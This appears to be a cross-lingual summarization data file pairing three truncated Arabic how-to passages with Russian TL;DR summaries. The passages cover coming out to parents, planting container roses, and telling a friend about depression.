شخصًا حليفًا للمثليين، تحدث معه أو معها حول ميولك الجنسية قبل تناوله مع أبويك. من الصعب قول ذلك للمرة الأولى، لذا فمحاولة قوله لشخص آخر يمكن أن يجعل الأمر أسهل قليلًا عليك عندما تذهب إلى أبويك، يُضاف إلى ذلك أن الشخص المتعاطف معك قد يقدم لك بعض النصائح إذا كان أو كانت مثلية. فقط تأكد أولًا أنك تثق بهذا الشخص تمام الثقة. جرِّب تقديم حقائق حول المثلية الجنسية إذا كنت في حاجة لإقناع أبويك.  يمكنك أن تجد عدة مصادر جيدة حول المثلية الجنسية على شبكة الإنترنت، مثل موقع منظمة "تنظيم الأسرة" على منتدى "المثليين والمثليات وثنائيي الجنس والمتحولين جنسيًا وذوي الميول غير المحددة LGBTQ ". من الجيد أيضًا أن تكون لديك مواد توضيحية تقدمها لهما أو مواقع إليكترونية يمكنهما زيارتها لقراءة المزيد حول هذا الأمر. يحتاج العديد من الآباء وقتًا للتكيُّف مع ما أعلنته لهم. سيكون عليهم تغيير معتقداتهم الخاصة حول شخصيتك، لأن معظم الآباء يتوقعون أن أطفالهم مستقيمي الهوية الجنسية. دعهما يعرفان أنه لا مشكلة في أن يستغرقا وقتًا للتكيُّف مع الأمر.  يمكنك أن تقول –على سبيل المثال- "أعرف أن ما أفصحت عنه حدث جلل، وأتفهم جيدًا بأنكما في حاجة لبعض الوقت للتكيُّف مع الفكرة حيث أني صدمتكما فجأة". قد ترغب في إعادة التفكير في الكشف عن هويتك الجنسية غير العادية لهما إذا علمت أن رد فعل أبويك سيكون سيئًا للغاية بسبب معتقداتهما. من الأفضل الانتظار لو تعتقد أن أبويك قد...

TL;DR in Russian:

Выберите подходящее время. Поговорите с человеком, у которого нетрадиционная ориентация. Приведите родителям факты. Дайте им время. Будьте готовы к самым неприятным последствиям.


هذا تمامًا هو الوقت الذي الذي ستجد فيه ورودًا تُباع وستضمن انتهاء الصقيع. هذه الورود أكثر عرضةً للتأثر بالصقيع لذا سيتوجب عليك زراعتها في الموسم الصحيح حتى لا تجازف بها. انتظر حتى تقل الرطوبة إذا كنت قد أبقيت الورود في وعاءٍ لبعض الوقت أو كانت شديدة الرطوبة بحيث يمكنك زراعتها بسهولةٍ أكبر. لن تنمو الجذور كثيرًا وقد تفقد بعض الورود عند نقلها خارج الحاوية إذا كانت الورود شديدة الرطوبة. هذا نفس الشيء الذي سيكون عليك فعله إذا كنت تزرع وردةً من نوع الجذور العارية. استخدم جاروفًا أو محفر لحفر الحفرة. أزل قاع الوعاء أولًا ثم أزل الجوانب عندما تضع الوعاء في الحفرة. أزل الوعاء من الجوانب كما لو كنت تقشر برتقالة. قد يبدو الوعاء كإناءٍ فحسب وسيكون عليك إزالته مرةً واحدة. سيساعد هذا على تعرية الجذور قليلًا وسيسهل عليها أن تنمو في فرش التربة. سيساعد هذا أيضًا على تقويم أي جذورٍ تشابكت نتيجة النمو في وعاء ورودٍ صغير. يمكنك أن تقوم بتحزيز الوردة بعمل قطوعٍ رأسيةٍ بسكينٍ حادةٍ لتوسيع الجذور. يجب أن يكون التحزيز مفتوحًا حوالي 2.5 سم ليسمح للجذور بالتشكل. املأ الحفرة بتربة تأصيصٍ بسيطةٍ عندما تنتهي. سيمنع هذا أي جيوبٍ هوائيةٍ وسيساعد على تقوية ورودك الوعائية. اسقِ النبتة وانتظر تصريف الماء ثم اسقها مرةً أخرى لتصل لبدايةٍ جيدة. يمكنك إضافة الفرش العضوي الواقي مثل الروث أو أشواك الصنوبر أو شرائح الخشب للمساعدة في الحفاظ على رطوبة التربة.

TL;DR in Russian:

Посадите розу в конце весны или в начале лета. Снизьте уровень влаги роз. Выкопайте яму, которая немного больше размеров корней с почвой. Снимите контейнер. Взрыхлите почву вокруг корневого кома. Поместите куст розы в центре ямы. Прижмите почву вокруг корней. Полейте растение.


هذا خبر جلل توشك على مشاركته مع صديقك، ومن الطبيعي تماماً أن تشعر بالتوتر. الإحباط يعد مرضاً نفسياً، ونظراً لوجود العديد من المفاهيم الخاطئة حيال الأشخاص الذين يعانون من الأمراض النفسية كالاكتئاب فإن أولئك الناس يشعرون أحياناً بوصم المجتمع لهم بسبب حالتهم. رغم ذلك فإن عليك أن تدرك بأن الإفصاح عن مرضك هو أحد الخطوات التي تتخذها نحو التأقلم والتعافي بفعالية. العديد من الناس ليس لديهم صديق واحد مفضل بل العديد من الأصدقاء المقربين أو حتى المفضلين. عليك التفكير بمن ستشاركه هذه المعلومات وما إن كان ذلك مناسباً لك.  إن كنت تخضع للعلاج النفسي بالفعل فاستشر الطبيب بشأن مشاركة خبر إصابتك بالمرض مع الطبيب أو المعالج. إن كان صديق منصتاً فعالاً وكتوماً وموثوقاً ويعتمد عليه ولا يطلق الأحكام وكان صحيحاً نفسياً فهو مناسب لمشاركة خبر إصابتك بالمرض معه. يمكن لصديقك مساعدتك في الحفاظ على صحة منظورك أثناء سعيك للتعافي. إن كنت تشك فيما إن كان يجدر بك إخبار صديقك عن الاكتئاب ففكر في إجابتك عن الأسئلة التالية:   هل يطلق صديقك تعليقات استهزائية بمن يسميهم "المجانين"؟ هل يتصرف صديقك أحياناً بشكل مهين أو حكمي على الآخرين؟ هل يمر صديقك بمشاكل متعلقة بالاكتئاب؟ هل يجيد صديقك التعامل مع مشاعره؟ هل ينشر صديقك الإشاعات أو النميمة؟ إن أجبت بنعم على أي من تلك الأسئلة أو تذكرت مرات مماثلة فمن الأفضل أن تدع صديقك يعلم ببساطة أنك تمر بمشاكل جمة وأنك تحاول حلها وستظل على تواصل معه. رغم ذلك فإن بعض الأصدقاء قد يفاجئوننا. إن كان صديقك قادراً على التخلي عن سلوكياته المعتادة من أجلك وإن كنت تشعر بالراحة في مشاركة هذه المعلومات فيمكنك البدء بمشاركة معلومات بسيطة ورؤية كيفية تلقي صديقك لها. تراجع كلما شعرت بالتضايق أو عدم الراحة. كم من المعلومات ستشاركه؟ مشاركة حالتك أمرٌ يخصك بغض النظر عما إن كان تشخيصك رسمياً. ابدأ بما تظن أن صديقك يحتاج معرفته عن الاكتئاب بشكل عام وعن تجربتك الشخصية. ما الذي يجدر بصديقك معرفته عن الاكتئاب. ما المفاهيم الخاطئة أو الأكاذيب التي عليك تصحيحها له؟ ما الذي يجب على صديقك معرفته عن تجربتك الشخصية؟   اعلم أن صديقك قد يكون لديه قريب مصاب بالاكتئاب وربما يعرف الكثير عن المرض، أو ربما لا يعرف صديقك شيئاً عن الاكتئاب. من المهم القراءة عن الاكتئاب وتعليم نفسك بشأن المرض كي تتمكن من مساعدة صديقك في فهم طبيعته وتأثيره عليك والطرق...

TL;DR in Russian:

Признайте, что вы готовы к разговору и хотите об этом поговорить. Выберите человека, которому вы все расскажете. Если вы в чем-то не уверены, остановитесь и подумайте, стоит ли вам разговаривать о своей болезни с лучшим другом. Подумайте о том, что именно вы хотите рассказать другу. Представьте себе возможные реакции своего друга. Решите для себя, какой ответ вам хочется получить. Запишите все, что хотите сказать. Отрепетируйте весь разговор.